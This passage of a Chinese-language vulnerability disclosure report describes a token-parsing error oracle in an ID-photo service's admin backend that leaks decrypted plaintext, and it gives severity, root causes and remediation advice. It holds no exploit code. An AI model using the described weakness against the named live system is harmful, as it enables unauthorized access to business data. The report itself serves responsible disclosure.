但後端應先驗證 token 的完整性與真實性,驗證成功後再解析內容,並於執行操作前確認其用途與授權。
6. 影響(Impact)
此問題會使 token 的解析與驗證流程形成可觀察的差異化 token 解析錯誤 oracle,攻擊者可透過不同 token 變體區分解碼的各內部階段,並取得錯誤訊息回傳的解密後明文。
可能造成的風險包括:
-
差異化 token 解析錯誤 oracle 風險
攻擊者可透過差異化錯誤訊息推測 token 格式、解碼流程、block 長度與邊界、解密後資料結構與驗證順序。 -
明文與內部資料結構外洩
錯誤訊息回顯解密後明文殘片或完整內容,並額外洩漏原始 token 取得端點未直接顯示的UUID、Date等資訊,以及 token 的內部資料結構。 -
潛在 token 濫用與權限繞過風險
若其它端點對 token 的驗證規則不一致、保護機制不足或透露過多資訊,攻擊者可能進一步嘗試將原本僅適用於特定功能的 token 用於其它操作;但本報告尚未證實可藉此繞過授權、跨訂單操作或完成其它敏感操作。
7. 可能的根本原因(Likely Root Cause)
問題可能是 後端在 token 解析失敗時回傳過多錯誤細節,導致內部解析流程與解密後內容外洩。
可能原因包括:
-
錯誤訊息可被明顯區分,並直接回傳解析階段、解密失敗的明文殘片或完整解密後內容。
-
不同用途 token 可進入相同或相容的流程,並在後續
TYPE檢查時回傳解密後內容。 -
敏感操作端點(例如
refund、cancel-invoice)主要依賴前端傳入的OrderID與 token 組合,且未充分驗證session、role、site、action、order state等授權條件。
8. 嚴重性評估(Severity Assessment)
中風險(Medium)
理由:
- 問題發生在後台管理系統,且受影響端點包含
refund、cancel-invoice等敏感營運操作端點。 - 不同用途 token 可進入相同或相容的解析流程,錯誤訊息會暴露內部處理階段、解密後資料結構,以及原始 token 取得端點未直接顯示的
UUID、Date等資訊。 - 目前證實的影響以有限的機密性損失為主,尚未證實完整性或可用性受到影響。
- 未能偽造有效 token,未能取得 encryption key 進行偽造 token。
- 未能透過此方式繞過驗證以完成退款或作廢發票。
9. 補充說明(Researcher Note)
-
本報告之測試僅限確認漏洞存在,未進行批次化、大量化或自動化操作,也未進行破壞性操作。
-
由於此系統與技術牽涉到三家公司-台灣公司為誠和國際股份有限公司(
https://www.seiwainc.com.tw/)與悟空科技股份有限公司(https://www.goqoo.com/),日本公司為株式会社喜喜(https://jp.diyidphoto.com/)。就可見資料顯示(https://twincn.com/84108618、https://www.twincn.com/80682392、https://jp.diyidphoto.com/lawOfPayment),三間公司經營者高度相關。但目前無法確定哪間公司統籌系統、技術與網站走向,並且問題可牽涉到跨國站點,因此建議同時聯絡三間公司。
以下是三間公司之相關信箱:
誠和國際:[email protected]
悟空科技:[email protected]
DIY證件照-台灣站(悟空科技):[email protected]
DIY證件照-日本站(株式会社喜喜):[email protected]修補建議
## 修補建議(Remediation Suggestions)
1. **不同用途 token 應明確綁定用途**
每個 token 應綁定目的或端點,並確保用途欄位受到完整性保護;不一定需要使用不同格式。綁定內容可參考以下:
```text
purpose / type
endpoint
action
order_id
user_id / role
site / diy_type
expiry
nonce / jti
```
2. **在使用解密內容前完成完整性與用途驗證**
不同 token 類型可透過不同金鑰、版本前綴或經驗證的用途欄位進行隔離。若用途欄位位於加密內容中,應先完成完整性驗證與解密,再於執行操作前確認其用途與授權。
3. **使用具完整性保護的 token 格式**
建議使用兼具加密與驗證功能的 token 格式。後端應先驗證 token 的完整性與真實性,驗證成功後再解析內容,並於執行操作前確認其用途、有效期與授權。
4. **統一錯誤訊息**
所有 token 驗證失敗的情況,對外都應回傳相同的錯誤訊息,例如 `invalid token`。
5. **敏感操作應有獨立授權檢查**
`refund`、`cancel-invoice` 等端點應另外檢查:
- 該敏感端點之操作者是否經授權進行操作。
- 該訂單是否屬於可操作範圍。
- 該操作是否符合目前業務狀態。
- 是否要有審計紀錄、二次確認、後台操作紀錄或速率限制。
6. **加入迴歸測試(Regression Testing)以避免問題再次發生**
修補後,應持續測試各種錯誤或混用情境,檢查是否有其它端點 / token 也有此類問題,並確認所有異常情況都只回傳一致的錯誤訊息,不洩漏內部資訊。